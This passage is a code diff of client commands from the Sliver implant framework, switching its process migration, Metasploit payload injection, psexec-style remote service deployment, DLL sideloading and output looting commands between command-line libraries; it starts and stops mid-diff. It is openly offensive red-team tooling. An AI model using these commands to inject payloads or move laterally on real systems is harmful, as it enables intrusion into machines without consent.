-	if strings.Contains(commandName, ".") {
-		commandName = commandName[:strings.LastIndex(commandName, ".")]
-	}
-
-	return commandName
-}
-
-func combineCommandOutput(exec *sliverpb.Execute, combineStdOut bool, combineStdErr bool) []byte {
-	var outputString string = ""
-
-	if combineStdOut {
-		outputString += "Output (stdout):\n" + string(exec.Stdout)
-	}
-
-	if combineStdErr {
-		if combineStdOut {
-			outputString += "\n"
-		}
-		outputString += "Stderr:\n" + string(exec.Stderr)
-	}
-
-	return []byte(outputString)
-}
-
-func LootExecute(commandOutput []byte, lootName string, sliverCmdName string, cmdName string, hostName string, con *console.SliverClient) {
-	if len(commandOutput) == 0 {
-		con.PrintInfof("There was no output from execution, so there is nothing to loot.\n")
-		return
-	}
-
-	timeNow := time.Now().UTC().Format("20060102150405")
-
-	shortCommandName := determineCommandName(cmdName)
-
-	fileName := fmt.Sprintf("%s_%s_%s_%s.log", sliverCmdName, hostName, shortCommandName, timeNow)
-	if lootName == "" {
-		lootName = fmt.Sprintf("[%s] %s on %s (%s)", sliverCmdName, shortCommandName, hostName, timeNow)
-	}
-
-	lootMessage := loot.CreateLootMessage(con.ActiveTarget.GetHostUUID(), fileName, lootName, clientpb.FileType_TEXT, commandOutput)
-	loot.SendLootMessage(lootMessage, con)
-}
-
-func PrintExecutionOutput(executionOutput string, saveOutput bool, commandName string, hostName string, con *console.SliverClient) {
-	con.PrintInfof("Output:\n%s", executionOutput)
-
-	if saveOutput {
-		SaveExecutionOutput(executionOutput, commandName, hostName, con)
-	}
-}
-
-func SaveExecutionOutput(executionOutput string, commandName string, hostName string, con *console.SliverClient) {
-	var outFilePath *os.File
-	var err error
-
-	if len(executionOutput) == 0 {
-		con.PrintInfof("There was no output from execution, so there is nothing to save.")
-		return
-	}
-
-	timeNow := time.Now().UTC().Format("20060102150405")
-
-	outFileName := filepath.Base(fmt.Sprintf("%s_%s_%s*.log", commandName, hostName, timeNow))
-
-	outFilePath, err = os.CreateTemp("", outFileName)
-
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-
-	if outFilePath != nil {
-		outFilePath.WriteString(executionOutput)
-		con.PrintInfof("Output saved to %s\n", outFilePath.Name())
 	}
 }

client/command/exec/migrate.go

@@ -3,17 +3,14 @@ package exec
 /*
 	Sliver Implant Framework
 	Copyright (C) 2019  Bishop Fox
-
 	This program is free software: you can redistribute it and/or modify
 	it under the terms of the GNU General Public License as published by
 	the Free Software Foundation, either version 3 of the License, or
 	(at your option) any later version.
-
 	This program is distributed in the hope that it will be useful,
 	but WITHOUT ANY WARRANTY; without even the implied warranty of
 	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 	GNU General Public License for more details.
-
 	You should have received a copy of the GNU General Public License
 	along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */
@@ -22,68 +19,26 @@ import (
 	"context"
 	"fmt"
 
-	"github.com/spf13/cobra"
-	"google.golang.org/protobuf/proto"
-
 	"github.com/bishopfox/sliver/client/console"
-	consts "github.com/bishopfox/sliver/client/constants"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/desertbit/grumble"
 )
 
 // MigrateCmd - Windows only, inject an implant into another process
-func MigrateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	session, beacon := con.ActiveTarget.GetInteractive()
-	if session == nil && beacon == nil {
+func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveSession.Get()
+	if session == nil {
 		return
 	}
 
-	pid, _ := cmd.Flags().GetUint32("pid")
-	procName, _ := cmd.Flags().GetString("process-name")
-	if pid == 0 && procName == "" {
-		con.PrintErrorf("Error: Must specify either a PID or process name\n")
-		return
-	}
-
-	var config *clientpb.ImplantConfig
-	var implantName string
-
-	if session != nil {
-		config = con.GetActiveSessionConfig()
-		implantName = session.Name
-	} else {
-		config = con.GetActiveBeaconConfig()
-		implantName = beacon.Name
-	}
-
-	encoder := clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
-	if disableSgn, _ := cmd.Flags().GetBool("disable-sgn"); disableSgn {
-		encoder = clientpb.ShellcodeEncoder_NONE
-	}
-
+	pid := ctx.Args.Uint("pid")
+	config := con.GetActiveSessionConfig()
 	ctrl := make(chan bool)
-	if pid != 0 {
-		con.SpinUntil(fmt.Sprintf("Migrating into %d ...", pid), ctrl)
-	} else {
-		con.SpinUntil(fmt.Sprintf("Migrating into %s...", procName), ctrl)
-	}
-
-	/* If the HTTP C2 Config name is not defined, then put in the default value
-	   This will have no effect on implants that do not use HTTP C2
-	   Also this should be overridden when the build info is pulled from the
-	   database, but if there is no build info and we have to create the build
-	   from scratch, we need to have something in here.
-	*/
-	if config.HTTPC2ConfigName == "" {
-		config.HTTPC2ConfigName = consts.DefaultC2Profile
-	}
-
+	con.SpinUntil(fmt.Sprintf("Migrating into %d ...", pid), ctrl)
 	migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{
-		Pid:      pid,
-		Config:   config,
-		Request:  con.ActiveTarget.Request(cmd),
-		Encoder:  encoder,
-		Name:     implantName,
-		ProcName: procName,
+		Pid:     uint32(pid),
+		Config:  config,
+		Request: con.ActiveSession.Request(ctx),
 	})
 	ctrl <- true
 	<-ctrl
@@ -91,32 +46,9 @@ func MigrateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 		con.PrintErrorf("Error: %v", err)
 		return
 	}
-	if migrate.Response != nil && migrate.Response.Async {
-		con.AddBeaconCallback(migrate.Response.TaskID, func(task *clientpb.BeaconTask) {
-			err = proto.Unmarshal(task.Response, migrate)
-			if err != nil {
-				con.PrintErrorf("Failed to decode response %s\n", err)
-			}
-			if !migrate.Success {
-				if migrate.GetResponse().GetErr() != "" {
-					con.PrintErrorf("%s\n", migrate.GetResponse().GetErr())
-				} else {
-					con.PrintErrorf("Could not migrate into a new process. Check the PID or name.")
-				}
-				return
-			}
-			con.PrintInfof("Successfully migrated to %d\n", migrate.Pid)
-		})
-		con.PrintAsyncResponse(migrate.Response)
-	} else {
-		if !migrate.Success {
-			if migrate.GetResponse().GetErr() != "" {
-				con.PrintErrorf("%s\n", migrate.GetResponse().GetErr())
-			} else {
-				con.PrintErrorf("Could not migrate into a new process. Check the PID or name.")
-			}
-			return
-		}
-		con.PrintInfof("Successfully migrated to %d\n", migrate.Pid)
+	if !migrate.Success {
+		con.PrintErrorf("%s\n", migrate.GetResponse().GetErr())
+		return
 	}
+	con.PrintInfof("Successfully migrated to %d\n", pid)
 }

client/command/exec/msf-inject.go

@@ -25,49 +25,40 @@ import (
 	"github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/spf13/cobra"
-	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
 )
 
-// MsfInjectCmd - Inject a metasploit payload into a remote process.
-func MsfInjectCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	session, beacon := con.ActiveTarget.GetInteractive()
-	if session == nil && beacon == nil {
+// MsfInjectCmd - Inject a metasploit payload into a remote process
+func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveSession.GetInteractive()
+	if session == nil {
 		return
 	}
 
-	payloadName, _ := cmd.Flags().GetString("payload")
-	lhost, _ := cmd.Flags().GetString("lhost")
-	lport, _ := cmd.Flags().GetInt("lport")
-	encoder, _ := cmd.Flags().GetString("encoder")
-	iterations, _ := cmd.Flags().GetInt("iterations")
-	pid, _ := cmd.Flags().GetInt("pid")
+	payloadName := ctx.Flags.String("payload")
+	lhost := ctx.Flags.String("lhost")
+	lport := ctx.Flags.Int("lport")
+	encoder := ctx.Flags.String("encoder")
+	iterations := ctx.Flags.Int("iterations")
+	pid := ctx.Flags.Int("pid")
 
 	if lhost == "" {
 		con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
 		return
 	}
+
 	if pid == -1 {
 		con.PrintErrorf("Invalid pid '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
 		return
 	}
-	var goos string
-	var goarch string
-	if session != nil {
-		goos = session.OS
-		goarch = session.Arch
-	} else {
-		goos = beacon.OS
-		goarch = beacon.Arch
-	}
 
 	ctrl := make(chan bool)
-	msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
-		payloadName, goos, goarch, lhost, lport)
+	msg := fmt.Sprintf("Injecting payload %s %s/%s -> %s:%d ...",
+		payloadName, session.OS, session.Arch, lhost, lport)
 	con.SpinUntil(msg, ctrl)
-	msfTask, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
-		Request:    con.ActiveTarget.Request(cmd),
+	_, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
+		Request:    con.ActiveSession.Request(ctx),
 		Payload:    payloadName,
 		LHost:      lhost,
 		LPort:      uint32(lport),
@@ -79,33 +70,7 @@ func MsfInjectCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
 	<-ctrl
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
-		return
-	}
-
-	if msfTask.Response != nil && msfTask.Response.Async {
-		con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) {
-			err = proto.Unmarshal(task.Response, msfTask)
-			if err != nil {
-				con.PrintErrorf("Failed to decode response %s\n", err)
-				return
-			}
-			PrintMsfRemote(msfTask, con)
-		})
-		con.PrintAsyncResponse(msfTask.Response)
 	} else {
-		PrintMsfRemote(msfTask, con)
-	}
-}
-
-// PrintMsfRemote - Print the results of the remote injection attempt.
-func PrintMsfRemote(msfRemote *sliverpb.Task, con *console.SliverClient) {
-	if msfRemote.Response == nil {
-		con.PrintErrorf("Empty response from msf payload injection task")
-		return
-	}
-	if msfRemote.Response.Err != "" {
-		con.PrintInfof("Executed payload on target")
-	} else {
-		con.PrintErrorf("Failed to inject payload: %s", msfRemote.Response.Err)
+		con.PrintInfof("Executed payload on target\n")
 	}
 }

client/command/exec/msf.go

@@ -25,43 +25,34 @@ import (
 	"github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/spf13/cobra"
-	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
 )
 
-// MsfCmd - Inject a metasploit payload into the current remote process.
-func MsfCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	session, beacon := con.ActiveTarget.GetInteractive()
-	if session == nil && beacon == nil {
+// MsfCmd - Inject a metasploit payload into the current remote process
+func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveSession.GetInteractive()
+	if session == nil {
 		return
 	}
 
-	payloadName, _ := cmd.Flags().GetString("payload")
-	lhost, _ := cmd.Flags().GetString("lhost")
-	lport, _ := cmd.Flags().GetInt("lport")
-	encoder, _ := cmd.Flags().GetString("encoder")
-	iterations, _ := cmd.Flags().GetInt("iterations")
+	payloadName := ctx.Flags.String("payload")
+	lhost := ctx.Flags.String("lhost")
+	lport := ctx.Flags.Int("lport")
+	encoder := ctx.Flags.String("encoder")
+	iterations := ctx.Flags.Int("iterations")
 
 	if lhost == "" {
 		con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfStr)
 		return
 	}
-	var goos string
-	var goarch string
-	if session != nil {
-		goos = session.OS
-		goarch = session.Arch
-	} else {
-		goos = beacon.OS
-		goarch = beacon.Arch
-	}
 
 	ctrl := make(chan bool)
-	msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
-		payloadName, goos, goarch, lhost, lport)
+	msg := fmt.Sprintf("Sending payload %s %s/%s -> %s:%d ...",
+		payloadName, session.OS, session.Arch, lhost, lport)
 	con.SpinUntil(msg, ctrl)
-	msfTask, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
-		Request:    con.ActiveTarget.Request(cmd),
+	_, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
+		Request:    con.ActiveSession.Request(ctx),
 		Payload:    payloadName,
 		LHost:      lhost,
 		LPort:      uint32(lport),
@@ -72,20 +63,7 @@ func MsfCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 	<-ctrl
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
-		return
-	}
-
-	if msfTask.Response != nil && msfTask.Response.Async {
-		con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) {
-			err = proto.Unmarshal(task.Response, msfTask)
-			if err != nil {
-				con.PrintErrorf("Failed to decode response %s\n", err)
-				return
-			}
-			PrintMsfRemote(msfTask, con)
-		})
-		con.PrintAsyncResponse(msfTask.Response)
 	} else {
-		PrintMsfRemote(msfTask, con)
+		con.PrintInfof("Executed payload on target\n")
 	}
 }

client/command/exec/psexec.go

@@ -21,89 +21,74 @@ package exec
 import (
 	"context"
 	"fmt"
-	insecureRand "math/rand"
-	"os"
+	"math/rand"
 	"strings"
 	"time"
 
 	"github.com/bishopfox/sliver/client/command/generate"
-	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/bishopfox/sliver/util/encoders"
-	"github.com/spf13/cobra"
+	"github.com/desertbit/grumble"
 )
 
 // PsExecCmd - psexec command implementation.
-func PsExecCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	session := con.ActiveTarget.GetSessionInteractive()
+func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveSession.GetInteractive()
 	if session == nil {
 		return
 	}
 
-	hostname := args[0]
+	hostname := ctx.Args.String("hostname")
 	if hostname == "" {
-		con.PrintErrorf("You need to provide a target host, see `help psexec` for examples")
+		con.PrintWarnf("you need to provide a target host, see `help psexec` for examples")
 		return
 	}
-	var serviceBinary []byte
-	profile, _ := cmd.Flags().GetString("profile")
-	serviceName, _ := cmd.Flags().GetString("service-name")
-	serviceDesc, _ := cmd.Flags().GetString("service-description")
-	binPath, _ := cmd.Flags().GetString("binpath")
-	customExe, _ := cmd.Flags().GetString("custom-exe")
-	uploadPath := fmt.Sprintf(`\\%s\%s`, hostname, strings.ReplaceAll(strings.ToLower(binPath), "c:", "C$"))
+	profile := ctx.Flags.String("profile")
+	serviceName := ctx.Flags.String("service-name")
+	serviceDesc := ctx.Flags.String("service-description")
+	binPath := ctx.Flags.String("binpath")
+	uploadPath := fmt.Sprintf(`\\%s\%s`, hostname, strings.ReplaceAll(strings.ToLower(ctx.Flags.String("binpath")), "c:", "C$"))
 
 	if serviceName == "Sliver" || serviceDesc == "Sliver implant" {
-		con.PrintWarnf("You're going to deploy the following service:\n- Name: %s\n- Description: %s\n", serviceName, serviceDesc)
+		con.PrintWarnf("Warning: You're going to deploy the following service:\n- Name: %s\n- Description: %s\n", serviceName, serviceDesc)
 		con.PrintWarnf("You might want to change that before going further...\n")
-		if !settings.IsUserAnAdult(con) {
+		if !con.IsUserAnAdult() {
 			return
 		}
 	}
 
-	if customExe == "" {
-		if profile == "" {
-			con.PrintErrorf("You need to pass a profile name, see `help psexec` for more info\n")
-			return
-		}
-
-		// generate sliver
-		generateCtrl := make(chan bool)
-		con.SpinUntil(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl)
-		profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
-		if err != nil {
-			con.PrintErrorf("Error: %s\n", err)
-			return
-		}
-		generateCtrl <- true
-		<-generateCtrl
-		var implantProfile *clientpb.ImplantProfile
-		for _, prof := range profiles.Profiles {
-			if prof.Name == profile {
-				implantProfile = prof
-			}
-		}
-		if implantProfile.GetName() == "" {
-			con.PrintErrorf("No profile found for name %s\n", profile)
-			return
-		}
-		serviceBinary, _ = generate.GetSliverBinary(implantProfile, con)
-	} else {
-		// use a custom exe instead of generating a new Sliver
-		fileBytes, err := os.ReadFile(customExe)
-		if err != nil {
-			con.PrintErrorf("Error reading custom executable '%s'\n", customExe)
-			return
-		}
-		serviceBinary = fileBytes
+	if profile == "" {
+		con.PrintErrorf("You need to pass a profile name, see `help psexec` for more info\n")
+		return
 	}
 
-	filename := randomFileName()
+	// generate sliver
+	generateCtrl := make(chan bool)
+	con.SpinUntil(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl)
+	profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("Error: %s\n", err)
+		return
+	}
+	generateCtrl <- true
+	<-generateCtrl
+	var implantProfile *clientpb.ImplantProfile
+	for _, prof := range profiles.Profiles {
+		if prof.Name == profile {
+			implantProfile = prof
+		}
+	}
+	if implantProfile.GetName() == "" {
+		con.PrintErrorf("No profile found for name %s\n", profile)
+		return
+	}
+	sliverBinary, err := generate.GetSliverBinary(implantProfile, con)
+	filename := randomString(10)
 	filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
-	uploadGzip, _ := new(encoders.Gzip).Encode(serviceBinary)
+	uploadGzip := new(encoders.Gzip).Encode(sliverBinary)
 	// upload to remote target
 	uploadCtrl := make(chan bool)
 	con.SpinUntil("Uploading service binary ...", uploadCtrl)
@@ -111,7 +96,7 @@ func PsExecCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 		Encoder: "gzip",
 		Data:    uploadGzip,
 		Path:    filePath,
-		Request: con.ActiveTarget.Request(cmd),
+		Request: con.ActiveSession.Request(ctx),
 	})
 	uploadCtrl <- true
 	<-uploadCtrl
@@ -134,7 +119,7 @@ func PsExecCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 	start, err := con.Rpc.StartService(context.Background(), &sliverpb.StartServiceReq{
 		BinPath:            binaryPath,
 		Hostname:           hostname,
-		Request:            con.ActiveTarget.Request(cmd),
+		Request:            con.ActiveSession.Request(ctx),
 		ServiceDescription: serviceDesc,
 		ServiceName:        serviceName,
 		Arguments:          "",
@@ -157,7 +142,7 @@ func PsExecCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 			Hostname:    hostname,
 			ServiceName: serviceName,
 		},
-		Request: con.ActiveTarget.Request(cmd),
+		Request: con.ActiveSession.Request(ctx),
 	})
 	removeChan <- true
 	<-removeChan
@@ -172,37 +157,12 @@ func PsExecCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 	con.PrintInfof("Successfully removed service %s on %s\n", serviceName, hostname)
 }
 
-func randomString() string {
-	alphanumeric := "abcdefghijklmnopqrstuvwxyz0123456789"
-	str := ""
-	for index := 0; index < insecureRand.Intn(8)+1; index++ {
-		str += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
+func randomString(length int) string {
+	var charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
+	var seededRand *rand.Rand = rand.New(rand.NewSource(time.Now().UnixNano()))
+	b := make([]byte, length)
+	for i := range b {
+		b[i] = charset[seededRand.Intn(len(charset))]
 	}
-	return str
-}
-
-func randomFileName() string {
-	noun := randomString()
-	noun = strings.ToLower(noun)
-	switch insecureRand.Intn(3) {
-	case 0:
-		noun = strings.ToUpper(noun)
-	case 1:
-		noun = strings.ToTitle(noun)
-	}
-
-	separators := []string{"", "", "", "", "", ".", "-", "_", "--", "__"}
-	sep := separators[insecureRand.Intn(len(separators))]
-
-	alphanumeric := "abcdefghijklmnopqrstuvwxyz0123456789"
-	prefix := ""
-	for index := 0; index < insecureRand.Intn(3); index++ {
-		prefix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
-	}
-	suffix := ""
-	for index := 0; index < insecureRand.Intn(6)+1; index++ {
-		suffix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
-	}
-
-	return fmt.Sprintf("%s%s%s%s%s", prefix, sep, noun, sep, suffix)
+	return string(b)
 }

client/command/exec/sideload.go

@@ -3,17 +3,14 @@ package exec
 /*
 	Sliver Implant Framework
 	Copyright (C) 2019  Bishop Fox
-
 	This program is free software: you can redistribute it and/or modify
 	it under the terms of the GNU General Public License as published by
 	the Free Software Foundation, either version 3 of the License, or
 	(at your option) any later version.
-
 	This program is distributed in the hope that it will be useful,
 	but WITHOUT ANY WARRANTY; without even the implied warranty of
 	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 	GNU General Public License for more details.
-
 	You should have received a copy of the GNU General Public License
 	along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */
@@ -21,62 +18,46 @@ package exec
 import (
 	"context"
 	"fmt"
+	"io/ioutil"
 	"os"
+	"path"
 	"path/filepath"
 	"strings"
 
 	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/spf13/cobra"
-	"google.golang.org/protobuf/proto"
+	"github.com/desertbit/grumble"
 )
 
-// SideloadCmd - Sideload a shared library on the remote system.
-func SideloadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	session, beacon := con.ActiveTarget.GetInteractive()
-	if session == nil && beacon == nil {
+// SideloadCmd - Sideload a shared library on the remote system
+func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveSession.Get()
+	if session == nil {
 		return
 	}
 
-	if len(args) < 1 {
-		cmd.Usage()
-		return
-	}
+	binPath := ctx.Args.String("filepath")
 
-	binPath := args[0]
-	var binArgs []string
-	if len(args) > 1 {
-		binArgs = args[1:]
-	}
+	entryPoint := ctx.Flags.String("entry-point")
+	processName := ctx.Flags.String("process")
+	args := strings.Join(ctx.Args.StringList("args"), " ")
 
-	entryPoint, _ := cmd.Flags().GetString("entry-point")
-	processName, _ := cmd.Flags().GetString("process")
-	keepAlive, _ := cmd.Flags().GetBool("keep-alive")
-	isUnicode, _ := cmd.Flags().GetBool("unicode")
-	pPid, _ := cmd.Flags().GetUint32("ppid")
-
-	binData, err := os.ReadFile(binPath)
+	binData, err := ioutil.ReadFile(binPath)
 	if err != nil {
 		con.PrintErrorf("%s", err.Error())
 		return
 	}
-	processArgsStr, _ := cmd.Flags().GetString("process-arguments")
-	processArgs := strings.Split(processArgsStr, " ")
 	isDLL := (filepath.Ext(binPath) == ".dll")
 	ctrl := make(chan bool)
-	con.SpinUntil(fmt.Sprintf("Sideloading %s %v...", binPath, binArgs), ctrl)
+	con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
 	sideload, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
-		Request:     con.ActiveTarget.Request(cmd),
-		Args:        binArgs,
+		Request:     con.ActiveSession.Request(ctx),
+		Args:        args,
 		Data:        binData,
 		EntryPoint:  entryPoint,
 		ProcessName: processName,
-		Kill:        !keepAlive,
+		Kill:        !ctx.Flags.Bool("keep-alive"),
 		IsDLL:       isDLL,
-		IsUnicode:   isUnicode,
-		PPid:        pPid,
-		ProcessArgs: processArgs,
 	})
 	ctrl <- true
 	<-ctrl
@@ -85,37 +66,18 @@ func SideloadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 		return
 	}
 
-	hostName := getHostname(session, beacon)
-	if sideload.Response != nil && sideload.Response.Async {
-		con.AddBeaconCallback(sideload.Response.TaskID, func(task *clientpb.BeaconTask) {
-			err = proto.Unmarshal(task.Response, sideload)
-			if err != nil {
-				con.PrintErrorf("Failed to decode response %s\n", err)
-				return
-			}
-
-			HandleSideloadResponse(sideload, binPath, hostName, cmd, con)
-		})
-		con.PrintAsyncResponse(sideload.Response)
-	} else {
-		HandleSideloadResponse(sideload, binPath, hostName, cmd, con)
-	}
-}
-
-func HandleSideloadResponse(sideload *sliverpb.Sideload, binPath string, hostName string, cmd *cobra.Command, con *console.SliverClient) {
-	saveLoot, _ := cmd.Flags().GetBool("loot")
-	lootName, _ := cmd.Flags().GetString("name")
-
 	if sideload.GetResponse().GetErr() != "" {
-		con.PrintErrorf("%s\n", sideload.GetResponse().GetErr())
+		con.PrintErrorf("Error: %s\n", sideload.GetResponse().GetErr())
 		return
 	}
-
-	save, _ := cmd.Flags().GetBool("save")
-
-	PrintExecutionOutput(sideload.GetResult(), save, cmd.Name(), hostName, con)
-
-	if saveLoot {
-		LootExecute([]byte(sideload.Result), lootName, cmd.Name(), binPath, hostName, con)
+	var outFilePath *os.File
+	if ctx.Flags.Bool("save") {
+		outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
+		outFilePath, err = ioutil.TempFile("", outFile)
+	}
+	con.PrintInfof("Output:\n%s", sideload.GetResult())
+	if outFilePath != nil {
+		outFilePath.Write([]byte(sideload.GetResult()))
+		con.PrintInfof("Output saved to %s\n", outFilePath.Name())
 	}
 }

client/command/exec/spawndll.go

@@ -1,52 +1,30 @@
 package exec
 
-/*
-	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
 import (
 	"context"
 	"fmt"
+	"io/ioutil"
 	"os"
+	"path"
+	"strings"
 
 	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/spf13/cobra"
-	"google.golang.org/protobuf/proto"
+	"github.com/desertbit/grumble"
 )
 
-// SpawnDllCmd - Spawn execution of a DLL on the remote system.
-func SpawnDllCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	session, beacon := con.ActiveTarget.GetInteractive()
-	if session == nil && beacon == nil {
+// SpawnDllCmd - Spawn execution of a DLL on the remote system
+func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveSession.Get()
+	if session == nil {
 		return
 	}
-	binPath := args[0]
-	var dllArgs []string
-	if len(args) > 1 {
-		dllArgs = args[1:]
-	}
+	dllArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
+	binPath := ctx.Args.String("filepath")
+	processName := ctx.Flags.String("process")
+	exportName := ctx.Flags.String("export")
 
-	processName, _ := cmd.Flags().GetString("process")
-	exportName, _ := cmd.Flags().GetString("export")
-	keepAlive, _ := cmd.Flags().GetBool("keep-alive")
-
-	binData, err := os.ReadFile(binPath)
+	binData, err := ioutil.ReadFile(binPath)
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
@@ -58,47 +36,28 @@ func SpawnDllCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 		ProcessName: processName,
 		Args:        dllArgs,
 		EntryPoint:  exportName,
-		Request:     con.ActiveTarget.Request(cmd),
-		Kill:        !keepAlive,
+		Request:     con.ActiveSession.Request(ctx),
+		Kill:        !ctx.Flags.Bool("keep-alive"),
 	})
+
 	if err != nil {
-		con.PrintErrorf("%s\n", err)
+		con.PrintErrorf("Error: %s\n", err)
 		return
 	}
 	ctrl <- true
 	<-ctrl
-
-	hostName := getHostname(session, beacon)
-	if spawndll.Response != nil && spawndll.Response.Async {
-		con.AddBeaconCallback(spawndll.Response.TaskID, func(task *clientpb.BeaconTask) {
-			err = proto.Unmarshal(task.Response, spawndll)
-			if err != nil {
-				con.PrintErrorf("Failed to decode response %s\n", err)
-				return
-			}
-
-			HandleSpawnDLLResponse(spawndll, binPath, hostName, cmd, con)
-		})
-		con.PrintAsyncResponse(spawndll.Response)
-	} else {
-		HandleSpawnDLLResponse(spawndll, binPath, hostName, cmd, con)
-	}
-}
-
-func HandleSpawnDLLResponse(spawndll *sliverpb.SpawnDll, binPath string, hostName string, cmd *cobra.Command, con *console.SliverClient) {
-	saveLoot, _ := cmd.Flags().GetBool("loot")
-	lootName, _ := cmd.Flags().GetString("name")
-
 	if spawndll.GetResponse().GetErr() != "" {
-		con.PrintErrorf("Failed to spawn dll: %s\n", spawndll.GetResponse().GetErr())
+		con.PrintErrorf("Error: %s\n", spawndll.GetResponse().GetErr())
 		return
 	}
-
-	save, _ := cmd.Flags().GetBool("save")
-
-	PrintExecutionOutput(spawndll.GetResult(), save, cmd.Name(), hostName, con)
-
-	if saveLoot {
-		LootExecute([]byte(spawndll.GetResult()), lootName, cmd.Name(), binPath, hostName, con)
+	var outFilePath *os.File
+	if ctx.Flags.Bool("save") {
+		outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
+		outFilePath, err = ioutil.TempFile("", outFile)
+	}
+	con.PrintInfof("Output:\n%s", spawndll.GetResult())
+	if outFilePath != nil {
+		outFilePath.Write([]byte(spawndll.GetResult()))
+		con.PrintInfof("Output saved to %s\n", outFilePath.Name())
 	}
 }

client/command/exec/ssh.go

@@ -1,86 +1,49 @@
 package exec
 
-/*
-	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
